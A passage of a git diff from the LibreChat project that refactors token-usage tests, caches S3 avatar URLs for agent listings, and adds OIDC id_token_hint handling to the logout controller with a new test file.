-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 80912,
-          output_tokens: 204,
-          total_tokens: 81116,
-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 136454,
-          output_tokens: 206,
-          total_tokens: 136660,
-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 146316,
-          output_tokens: 224,
-          total_tokens: 146540,
-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 150402,
-          output_tokens: 1248,
-          total_tokens: 151650,
-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 156268,
-          output_tokens: 139,
-          total_tokens: 156407,
-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 167126,
-          output_tokens: 2961,
-          total_tokens: 170087,
-          input_token_details: { cache_read: 31576, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
       ];
 
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 163 });
+
       await client.recordCollectedUsage({
         collectedUsage,
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      // input_tokens = first entry's input + cache_creation + cache_read
-      // = 788 + 30808 + 0 = 31596
       expect(client.usage.input_tokens).toBe(31596);
-
-      // output_tokens = sum of all output_tokens
-      // = 163 + 149 + 225 + 204 + 206 + 224 + 1248 + 139 + 2961 = 5519
-      expect(client.usage.output_tokens).toBe(5519);
-
-      // First 2 entries have cache tokens, should use spendStructuredTokens
-      // Remaining 7 entries have cache_read but no cache_creation, still structured
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(9);
-      expect(mockSpendTokens).toHaveBeenCalledTimes(0);
-
-      // Verify first entry uses structured tokens with cache_creation
-      expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
-        1,
-        expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
-        {
-          promptTokens: { input: 788, write: 30808, read: 0 },
-          completionTokens: 163,
-        },
-      );
-
-      // Verify second entry uses structured tokens with both cache_creation and cache_read
-      expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
-        2,
-        expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
-        {
-          promptTokens: { input: 3802, write: 768, read: 30808 },
-          completionTokens: 149,
-        },
-      );
-    });
-  });
-
-  describe('cache token handling', () => {
-    it('should handle OpenAI format cache tokens (input_token_details)', async () => {
-      const collectedUsage = [
-        {
-          input_tokens: 100,
-          output_tokens: 50,
-          model: 'gpt-4',
-          input_token_details: {
-            cache_creation: 20,
-            cache_read: 10,
-          },
-        },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'gpt-4' }),
-        {
-          promptTokens: {
-            input: 100,
-            write: 20,
-            read: 10,
-          },
-          completionTokens: 50,
-        },
-      );
-    });
-
-    it('should handle Anthropic format cache tokens (cache_*_input_tokens)', async () => {
-      const collectedUsage = [
-        {
-          input_tokens: 100,
-          output_tokens: 50,
-          model: 'claude-3',
-          cache_creation_input_tokens: 25,
-          cache_read_input_tokens: 15,
-        },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'claude-3' }),
-        {
-          promptTokens: {
-            input: 100,
-            write: 25,
-            read: 15,
-          },
-          completionTokens: 50,
-        },
-      );
-    });
-
-    it('should use spendTokens for entries without cache tokens', async () => {
-      const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
-    });
-
-    it('should handle mixed cache and non-cache entries', async () => {
-      const collectedUsage = [
-        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
-        {
-          input_tokens: 150,
-          output_tokens: 30,
-          model: 'gpt-4',
-          input_token_details: { cache_creation: 10, cache_read: 5 },
-        },
-        { input_tokens: 200, output_tokens: 20, model: 'gpt-4' },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-      expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
-    });
-
-    it('should include cache tokens in total input calculation', async () => {
-      const collectedUsage = [
-        {
-          input_tokens: 100,
-          output_tokens: 50,
-          model: 'gpt-4',
-          input_token_details: {
-            cache_creation: 20,
-            cache_read: 10,
-          },
-        },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      // Total input should include cache tokens: 100 + 20 + 10 = 130
-      expect(client.usage.input_tokens).toBe(130);
+      expect(client.usage.output_tokens).toBe(163);
     });
   });
 
   describe('model fallback', () => {
-    it('should use usage.model when available', async () => {
-      const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }];
-
-      await client.recordCollectedUsage({
-        model: 'fallback-model',
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'gpt-4-turbo' }),
-        expect.any(Object),
-      );
-    });
-
-    it('should fallback to param model when usage.model is missing', async () => {
+    it('should use param model when available', async () => {
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
       const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
 
       await client.recordCollectedUsage({
@@ -630,14 +288,13 @@ describe('AgentClient - recordCollectedUsage', () => {
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'param-model' }),
-        expect.any(Object),
-      );
+      const [, params] = mockRecordCollectedUsage.mock.calls[0];
+      expect(params.model).toBe('param-model');
     });
 
     it('should fallback to client.model when param model is missing', async () => {
       client.model = 'client-model';
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
       const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
 
       await client.recordCollectedUsage({
@@ -646,13 +303,12 @@ describe('AgentClient - recordCollectedUsage', () => {
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'client-model' }),
-        expect.any(Object),
-      );
+      const [, params] = mockRecordCollectedUsage.mock.calls[0];
+      expect(params.model).toBe('client-model');
     });
 
     it('should fallback to agent model_parameters.model as last resort', async () => {
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
       const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
 
       await client.recordCollectedUsage({
@@ -661,15 +317,14 @@ describe('AgentClient - recordCollectedUsage', () => {
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'gpt-4' }),
-        expect.any(Object),
-      );
+      const [, params] = mockRecordCollectedUsage.mock.calls[0];
+      expect(params.model).toBe('gpt-4');
     });
   });
 
   describe('getStreamUsage integration', () => {
     it('should return the usage object set by recordCollectedUsage', async () => {
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
       const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
 
       await client.recordCollectedUsage({
@@ -679,10 +334,7 @@ describe('AgentClient - recordCollectedUsage', () => {
       });
 
       const usage = client.getStreamUsage();
-      expect(usage).toEqual({
-        input_tokens: 100,
-        output_tokens: 50,
-      });
+      expect(usage).toEqual({ input_tokens: 100, output_tokens: 50 });
     });
 
     it('should return undefined before recordCollectedUsage is called', () => {
@@ -690,9 +342,9 @@ describe('AgentClient - recordCollectedUsage', () => {
       expect(usage).toBeUndefined();
     });
 
+    /** Verifies usage passes the check in BaseClient.sendMessage: if (usage != null && Number(usage[this.outputTokensKey]) > 0) */
     it('should have output_tokens > 0 for BaseClient.sendMessage check', async () => {
-      // This test verifies the usage will pass the check in BaseClient.sendMessage:
-      // if (usage != null && Number(usage[this.outputTokensKey]) > 0)
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
       const collectedUsage = [
         { input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
         { input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
diff --git a/api/server/controllers/agents/request.js b/api/server/controllers/agents/request.js
index 79387b6e89..dea5400036 100644
--- a/api/server/controllers/agents/request.js
+++ b/api/server/controllers/agents/request.js
@@ -3,9 +3,9 @@ const { Constants, ViolationTypes } = require('librechat-data-provider');
 const {
   sendEvent,
   getViolationInfo,
+  buildMessageFiles,
   GenerationJobManager,
   decrementPendingRequest,
-  sanitizeFileForTransmit,
   sanitizeMessageForTransmit,
   checkAndIncrementPendingRequest,
 } = require('@librechat/api');
@@ -252,13 +252,10 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
         conversation.title =
           conversation && !conversation.title ? null : conversation?.title || 'New Chat';
 
-        if (req.body.files && client.options?.attachments) {
-          userMessage.files = [];
-          const messageFiles = new Set(req.body.files.map((file) => file.file_id));
-          for (const attachment of client.options.attachments) {
-            if (messageFiles.has(attachment.file_id)) {
-              userMessage.files.push(sanitizeFileForTransmit(attachment));
-            }
+        if (req.body.files && Array.isArray(client.options.attachments)) {
+          const files = buildMessageFiles(req.body.files, client.options.attachments);
+          if (files.length > 0) {
+            userMessage.files = files;
           }
           delete userMessage.image_urls;
         }
@@ -639,14 +636,10 @@ const _LegacyAgentController = async (req, res, next, initializeClient, addTitle
     conversation.title =
       conversation && !conversation.title ? null : conversation?.title || 'New Chat';
 
-    // Process files if needed (sanitize to remove large text fields before transmission)
-    if (req.body.files && client.options?.attachments) {
-      userMessage.files = [];
-      const messageFiles = new Set(req.body.files.map((file) => file.file_id));
-      for (const attachment of client.options.attachments) {
-        if (messageFiles.has(attachment.file_id)) {
-          userMessage.files.push(sanitizeFileForTransmit(attachment));
-        }
+    if (req.body.files && Array.isArray(client.options.attachments)) {
+      const files = buildMessageFiles(req.body.files, client.options.attachments);
+      if (files.length > 0) {
+        userMessage.files = files;
       }
       delete userMessage.image_urls;
     }
diff --git a/api/server/controllers/agents/responses.js b/api/server/controllers/agents/responses.js
index afdb96be9f..83e6ad6efd 100644
--- a/api/server/controllers/agents/responses.js
+++ b/api/server/controllers/agents/responses.js
@@ -38,6 +38,7 @@ const { loadAgentTools, loadToolsForExecution } = require('~/server/services/Too
 const { findAccessibleResources } = require('~/server/services/PermissionService');
 const { getConvoFiles, saveConvo, getConvo } = require('~/models/Conversation');
 const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
 const { getAgent, getAgents } = require('~/models/Agent');
 const db = require('~/models');
 
@@ -486,6 +487,10 @@ const createResponse = async (req, res) => {
           thread_id: conversationId,
           user_id: userId,
           user: createSafeUser(req.user),
+          requestBody: {
+            messageId: responseId,
+            conversationId,
+          },
           ...(userMCPAuthMap != null && { userMCPAuthMap }),
         },
         signal: abortController.signal,
@@ -505,12 +510,18 @@ const createResponse = async (req, res) => {
       const balanceConfig = getBalanceConfig(req.config);
       const transactionsConfig = getTransactionsConfig(req.config);
       recordCollectedUsage(
-        { spendTokens, spendStructuredTokens },
+        {
+          spendTokens,
+          spendStructuredTokens,
+          pricing: { getMultiplier, getCacheMultiplier },
+          bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+        },
         {
           user: userId,
           conversationId,
           collectedUsage,
           context: 'message',
+          messageId: responseId,
           balance: balanceConfig,
           transactions: transactionsConfig,
           model: primaryConfig.model || agent.model_parameters?.model,
@@ -630,6 +641,10 @@ const createResponse = async (req, res) => {
           thread_id: conversationId,
           user_id: userId,
           user: createSafeUser(req.user),
+          requestBody: {
+            messageId: responseId,
+            conversationId,
+          },
           ...(userMCPAuthMap != null && { userMCPAuthMap }),
         },
         signal: abortController.signal,
@@ -649,12 +664,18 @@ const createResponse = async (req, res) => {
       const balanceConfig = getBalanceConfig(req.config);
       const transactionsConfig = getTransactionsConfig(req.config);
       recordCollectedUsage(
-        { spendTokens, spendStructuredTokens },
+        {
+          spendTokens,
+          spendStructuredTokens,
+          pricing: { getMultiplier, getCacheMultiplier },
+          bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+        },
         {
           user: userId,
           conversationId,
           collectedUsage,
           context: 'message',
+          messageId: responseId,
           balance: balanceConfig,
           transactions: transactionsConfig,
           model: primaryConfig.model || agent.model_parameters?.model,
diff --git a/api/server/controllers/agents/v1.js b/api/server/controllers/agents/v1.js
index 34078b2250..a2c0d55186 100644
--- a/api/server/controllers/agents/v1.js
+++ b/api/server/controllers/agents/v1.js
@@ -530,10 +530,10 @@ const getListAgentsHandler = async (req, res) => {
      */
     const cache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
     const refreshKey = `${userId}:agents_avatar_refresh`;
-    const alreadyChecked = await cache.get(refreshKey);
-    if (alreadyChecked) {
-      logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
-    } else {
+    let cachedRefresh = await cache.get(refreshKey);
+    const isValidCachedRefresh =
+      cachedRefresh != null && typeof cachedRefresh === 'object' && cachedRefresh.urlCache != null;
+    if (!isValidCachedRefresh) {
       try {
         const fullList = await getListAgentsByAccess({
           accessibleIds,
@@ -541,16 +541,19 @@ const getListAgentsHandler = async (req, res) => {
           limit: MAX_AVATAR_REFRESH_AGENTS,
           after: null,
         });
-        await refreshListAvatars({
+        const { urlCache } = await refreshListAvatars({
           agents: fullList?.data ?? [],
           userId,
           refreshS3Url,
           updateAgent,
         });
-        await cache.set(refreshKey, true, Time.THIRTY_MINUTES);
+        cachedRefresh = { urlCache };
+        await cache.set(refreshKey, cachedRefresh, Time.THIRTY_MINUTES);
       } catch (err) {
         logger.error('[/Agents] Error refreshing avatars for full list: %o', err);
       }
+    } else {
+      logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
     }
 
     // Use the new ACL-aware function
@@ -568,11 +571,20 @@ const getListAgentsHandler = async (req, res) => {
 
     const publicSet = new Set(publiclyAccessibleIds.map((oid) => oid.toString()));
 
+    const urlCache = cachedRefresh?.urlCache;
     data.data = agents.map((agent) => {
       try {
         if (agent?._id && publicSet.has(agent._id.toString())) {
           agent.isPublic = true;
         }
+        if (
+          urlCache &&
+          agent?.id &&
+          agent?.avatar?.source === FileSources.s3 &&
+          urlCache[agent.id]
+        ) {
+          agent.avatar = { ...agent.avatar, filepath: urlCache[agent.id] };
+        }
       } catch (e) {
         // Silently ignore mapping errors
         void e;
@@ -658,6 +670,14 @@ const uploadAgentAvatarHandler = async (req, res) => {
     const updatedAgent = await updateAgent({ id: agent_id }, data, {
       updatingUserId: req.user.id,
     });
+
+    try {
+      const avatarCache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
+      await avatarCache.delete(`${req.user.id}:agents_avatar_refresh`);
+    } catch (cacheErr) {
+      logger.error('[/:agent_id/avatar] Error invalidating avatar refresh cache', cacheErr);
+    }
+
     res.status(201).json(updatedAgent);
   } catch (error) {
     const message = 'An error occurred while updating the Agent Avatar';
diff --git a/api/server/controllers/agents/v1.spec.js b/api/server/controllers/agents/v1.spec.js
index 8b2a57d903..ce68cc241f 100644
--- a/api/server/controllers/agents/v1.spec.js
+++ b/api/server/controllers/agents/v1.spec.js
@@ -59,6 +59,7 @@ jest.mock('~/models', () => ({
 const mockCache = {
   get: jest.fn(),
   set: jest.fn(),
+  delete: jest.fn(),
 };
 jest.mock('~/cache', () => ({
   getLogStores: jest.fn(() => mockCache),
@@ -1309,7 +1310,7 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
     });
 
     test('should skip avatar refresh if cache hit', async () => {
-      mockCache.get.mockResolvedValue(true);
+      mockCache.get.mockResolvedValue({ urlCache: {} });
       findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
       findPubliclyAccessibleResources.mockResolvedValue([]);
 
@@ -1348,8 +1349,12 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
       // Verify S3 URL was refreshed
       expect(refreshS3Url).toHaveBeenCalled();
 
-      // Verify cache was set
-      expect(mockCache.set).toHaveBeenCalled();
+      // Verify cache was set with urlCache map, not a plain boolean
+      expect(mockCache.set).toHaveBeenCalledWith(
+        expect.any(String),
+        expect.objectContaining({ urlCache: expect.any(Object) }),
+        expect.any(Number),
+      );
 
       // Verify response was returned
       expect(mockRes.json).toHaveBeenCalled();
@@ -1563,5 +1568,83 @@ describe('Agent Controllers - Mass Assignment Protection', () => {
       // Verify that the handler completed successfully
       expect(mockRes.json).toHaveBeenCalled();
     });
+
+    test('should treat legacy boolean cache entry as a miss and run refresh', async () => {
+      // Simulate a cache entry written by the pre-fix code
+      mockCache.get.mockResolvedValue(true);
+      findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+      findPubliclyAccessibleResources.mockResolvedValue([]);
+      refreshS3Url.mockResolvedValue('new-s3-path.jpg');
+
+      const mockReq = {
+        user: { id: userA.toString(), role: 'USER' },
+        query: {},
+      };
+      const mockRes = {
+        status: jest.fn().mockReturnThis(),
+        json: jest.fn().mockReturnThis(),
+      };
+
+      await getListAgentsHandler(mockReq, mockRes);
+
+      // Boolean true fails the shape guard, so refresh must run
+      expect(refreshS3Url).toHaveBeenCalled();
+      // Cache is overwritten with the proper format
+      expect(mockCache.set).toHaveBeenCalledWith(
+        expect.any(String),
+        expect.objectContaining({ urlCache: expect.any(Object) }),
+        expect.any(Number),
+      );
+    });
+
+    test('should apply cached urlCache filepath to paginated response on cache hit', async () => {
+      const agentId = agentWithS3Avatar.id;
+      const cachedUrl = 'cached-presigned-url.jpg';
+
+      mockCache.get.mockResolvedValue({ urlCache: { [agentId]: cachedUrl } });
+      findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+      findPubliclyAccessibleResources.mockResolvedValue([]);
+
+      const mockReq = {
+        user: { id: userA.toString(), role: 'USER' },
+        query: {},
+      };
+      const mockRes = {
+        status: jest.fn().mockReturnThis(),
+        json: jest.fn().mockReturnThis(),
+      };
+
+      await getListAgentsHandler(mockReq, mockRes);
+
+      expect(refreshS3Url).not.toHaveBeenCalled();
+
+      const responseData = mockRes.json.mock.calls[0][0];
+      const agent = responseData.data.find((a) => a.id === agentId);
+      // Cached URL is served, not the stale DB value 'old-s3-path.jpg'
+      expect(agent.avatar.filepath).toBe(cachedUrl);
+    });
+
+    test('should preserve DB filepath for agents absent from urlCache on cache hit', async () => {
+      mockCache.get.mockResolvedValue({ urlCache: {} });
+      findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]);
+      findPubliclyAccessibleResources.mockResolvedValue([]);
+
+      const mockReq = {
+        user: { id: userA.toString(), role: 'USER' },
+        query: {},
+      };
+      const mockRes = {
+        status: jest.fn().mockReturnThis(),
+        json: jest.fn().mockReturnThis(),
+      };
+
+      await getListAgentsHandler(mockReq, mockRes);
+
+      expect(refreshS3Url).not.toHaveBeenCalled();
+
+      const responseData = mockRes.json.mock.calls[0][0];
+      const agent = responseData.data.find((a) => a.id === agentWithS3Avatar.id);
+      expect(agent.avatar.filepath).toBe('old-s3-path.jpg');
+    });
   });
 });
diff --git a/api/server/controllers/auth/LogoutController.js b/api/server/controllers/auth/LogoutController.js
index 0b3cf262b8..039ed630c2 100644
--- a/api/server/controllers/auth/LogoutController.js
+++ b/api/server/controllers/auth/LogoutController.js
@@ -8,13 +8,16 @@ const logoutController = async (req, res) => {
   const parsedCookies = req.headers.cookie ? cookies.parse(req.headers.cookie) : {};
   const isOpenIdUser = req.user?.openidId != null && req.user?.provider === 'openid';
 
-  /** For OpenID users, read refresh token from session; for others, use cookie */
+  /** For OpenID users, read tokens from session (with cookie fallback) */
   let refreshToken;
+  let idToken;
   if (isOpenIdUser && req.session?.openidTokens) {
     refreshToken = req.session.openidTokens.refreshToken;
+    idToken = req.session.openidTokens.idToken;
     delete req.session.openidTokens;
   }
   refreshToken = refreshToken || parsedCookies.refreshToken;
+  idToken = idToken || parsedCookies.openid_id_token;
 
   try {
     const logout = await logoutUser(req, refreshToken);
@@ -31,21 +34,34 @@ const logoutController = async (req, res) => {
       isEnabled(process.env.OPENID_USE_END_SESSION_ENDPOINT) &&
       process.env.OPENID_ISSUER
     ) {
-      const openIdConfig = getOpenIdConfig();
-      if (!openIdConfig) {
-        logger.warn(
-          '[logoutController] OpenID config not found. Please verify that the open id configuration and initialization are correct.',
-        );
-      } else {
-        const endSessionEndpoint = openIdConfig
-          ? openIdConfig.serverMetadata().end_session_endpoint
-          : null;
+      let openIdConfig;
+      try {
+        openIdConfig = getOpenIdConfig();
+      } catch (err) {
+        logger.warn('[logoutController] OpenID config not available:', err.message);
+      }
+      if (openIdConfig) {
+        const endSessionEndpoint = openIdConfig.serverMetadata().end_session_endpoint;
         if (endSessionEndpoint) {
           const endSessionUrl = new URL(endSessionEndpoint);
           /** Redirect back to app's login page after IdP logout */
           const postLogoutRedirectUri =
             process.env.OPENID_POST_LOGOUT_REDIRECT_URI || `${process.env.DOMAIN_CLIENT}/login`;
           endSessionUrl.searchParams.set('post_logout_redirect_uri', postLogoutRedirectUri);
+
+          /** Add id_token_hint (preferred) or client_id for OIDC spec compliance */
+          if (idToken) {
+            endSessionUrl.searchParams.set('id_token_hint', idToken);
+          } else if (process.env.OPENID_CLIENT_ID) {
+            endSessionUrl.searchParams.set('client_id', process.env.OPENID_CLIENT_ID);
+          } else {
+            logger.warn(
+              '[logoutController] Neither id_token_hint nor OPENID_CLIENT_ID is available. ' +
+                'To enable id_token_hint, set OPENID_REUSE_TOKENS=true. ' +
+                'The OIDC end-session request may be rejected by the identity provider.',
+            );
+          }
+
           response.redirect = endSessionUrl.toString();
         } else {
           logger.warn(
diff --git a/api/server/controllers/auth/LogoutController.spec.js b/api/server/controllers/auth/LogoutController.spec.js
new file mode 100644
index 0000000000..3f2a2de8e1
--- /dev/null
+++ b/api/server/controllers/auth/LogoutController.spec.js
@@ -0,0 +1,259 @@
+const cookies = require('cookie');
+
+const mockLogoutUser = jest.fn();
+const mockLogger = { warn: jest.fn(), error: jest.fn() };
+const mockIsEnabled = jest.fn();
+const mockGetOpenIdConfig = jest.fn();
+
+jest.mock('cookie');
+jest.mock('@librechat/api', () => ({ isEnabled: (...args) => mockIsEnabled(...args) }));
+jest.mock('@librechat/data-schemas', () => ({ logger: mockLogger }));
+jest.mock('~/server/services/AuthService', () => ({
+  logoutUser: (...args) => mockLogoutUser(...args),
+}));
+jest.mock('~/strategies', () => ({ getOpenIdConfig: () => mockGetOpenIdConfig() }));
+
+const { logoutController } = require('./LogoutController');
+
+function buildReq(overrides = {}) {
+  return {
+    user: { _id: 'user1', openidId: 'oid1', provider: 'openid' },
+    headers: { cookie: 'refreshToken=rt1' },
+    session: {
+      openidTokens: { refreshToken: 'srt', idToken: 'small-id-token' },
+      destroy: jest.fn(),
+    },
+    ...overrides,
+  };
+}
+
+function buildRes() {
+  const res = {
+    status: jest.fn().mockReturnThis(),
+    send: jest.fn().mockReturnThis(),
+    json: jest.fn().mockReturnThis(),
+    clearCookie: jest.fn(),
+  };
+  return res;
+}
+
+const ORIGINAL_ENV = process.env;
+
+beforeEach(() => {
+  jest.clearAllMocks();
+  process.env = {
+    ...ORIGINAL_ENV,
+    OPENID_USE_END_SESSION_ENDPOINT: 'true',
+    OPENID_ISSUER: 'https://idp.example.com',
+    OPENID_CLIENT_ID: 'my-client-id',
+    DOMAIN_CLIENT: 'https://app.example.com',
+  };
+  cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+  mockLogoutUser.mockResolvedValue({ status: 200, message: 'Logout successful' });
+  mockIsEnabled.mockReturnValue(true);
+  mockGetOpenIdConfig.mockReturnValue({
+    serverMetadata: () => ({
+      end_session_endpoint: 'https://idp.example.com/logout',
+    }),
+  });
+});
+
+afterAll(() => {
+  process.env = ORIGINAL_ENV;
+});
+
+describe('LogoutController', () => {
+  describe('id_token_hint from session', () => {
+    it('sets id_token_hint when session has idToken', async () => {
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toContain('id_token_hint=small-id-token');
+      expect(body.redirect).not.toContain('client_id=');
+    });
+  });
+
+  describe('id_token_hint from cookie fallback', () => {
+    it('uses cookie id_token when session has no tokens', async () => {
+      cookies.parse.mockReturnValue({
+        refreshToken: 'cookie-rt',
+        openid_id_token: 'cookie-id-token',
+      });
+      const req = buildReq({ session: { destroy: jest.fn() } });
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toContain('id_token_hint=cookie-id-token');
+    });
+  });
+
+  describe('client_id fallback', () => {
+    it('falls back to client_id when no idToken is available', async () => {
+      cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+      const req = buildReq({ session: { destroy: jest.fn() } });
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toContain('client_id=my-client-id');
+      expect(body.redirect).not.toContain('id_token_hint=');
+    });
+
+    it('does not produce client_id=undefined when OPENID_CLIENT_ID is unset', async () => {
+      delete process.env.OPENID_CLIENT_ID;
+      cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' });
+      const req = buildReq({ session: { destroy: jest.fn() } });
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).not.toContain('client_id=');
+      expect(body.redirect).not.toContain('undefined');
+      expect(mockLogger.warn).toHaveBeenCalledWith(
+        expect.stringContaining('Neither id_token_hint nor OPENID_CLIENT_ID'),
+      );
+    });
+  });
+
+  describe('OPENID_USE_END_SESSION_ENDPOINT disabled', () => {
+    it('does not include redirect when disabled', async () => {
+      mockIsEnabled.mockReturnValue(false);
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toBeUndefined();
+    });
+  });
+
+  describe('OPENID_ISSUER unset', () => {
+    it('does not include redirect when OPENID_ISSUER is missing', async () => {
+      delete process.env.OPENID_ISSUER;
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toBeUndefined();
+    });
+  });
+
+  describe('non-OpenID user', () => {
+    it('does not include redirect for non-OpenID users', async () => {
+      const req = buildReq({
+        user: { _id: 'user1', provider: 'local' },
+      });
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toBeUndefined();
+    });
+  });
+
+  describe('post_logout_redirect_uri', () => {
+    it('uses OPENID_POST_LOGOUT_REDIRECT_URI when set', async () => {
+      process.env.OPENID_POST_LOGOUT_REDIRECT_URI = 'https://custom.example.com/logged-out';
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      const url = new URL(body.redirect);
+      expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
+        'https://custom.example.com/logged-out',
+      );
+    });
+
+    it('defaults to DOMAIN_CLIENT/login when OPENID_POST_LOGOUT_REDIRECT_URI is unset', async () => {
+      delete process.env.OPENID_POST_LOGOUT_REDIRECT_URI;
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      const url = new URL(body.redirect);
+      expect(url.searchParams.get('post_logout_redirect_uri')).toBe(
+        'https://app.example.com/login',
+      );
+    });
+  });
+
+  describe('OpenID config not available', () => {
+    it('warns and returns no redirect when getOpenIdConfig throws', async () => {
+      mockGetOpenIdConfig.mockImplementation(() => {
+        throw new Error('OpenID configuration has not been initialized');
+      });
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toBeUndefined();
+      expect(mockLogger.warn).toHaveBeenCalledWith(
+        expect.stringContaining('OpenID config not available'),
+        'OpenID configuration has not been initialized',
+      );
+    });
+  });
+
+  describe('end_session_endpoint not in metadata', () => {
+    it('warns and returns no redirect when end_session_endpoint is missing', async () => {
+      mockGetOpenIdConfig.mockReturnValue({
+        serverMetadata: () => ({}),
+      });
+      const req = buildReq();
+      const res = buildRes();
+
+      await logoutController(req, res);
+
+      const body = res.send.mock.calls[0][0];
+      expect(body.redirect).toBeUndefined();
+      expect(mockLogger.warn).toHaveBeenCalledWith(
+        expect.stringContaining('end_session_endpoint not found'),
+      );
+    });
+  });
+
+  describe('error handling', () => {
+    it('returns 500 on logoutUser error', async () => {
+      mockLogoutUser.mockRejectedValue(new Error('session error'));
+      const req = buildReq();
+      const res = buildRes();
+
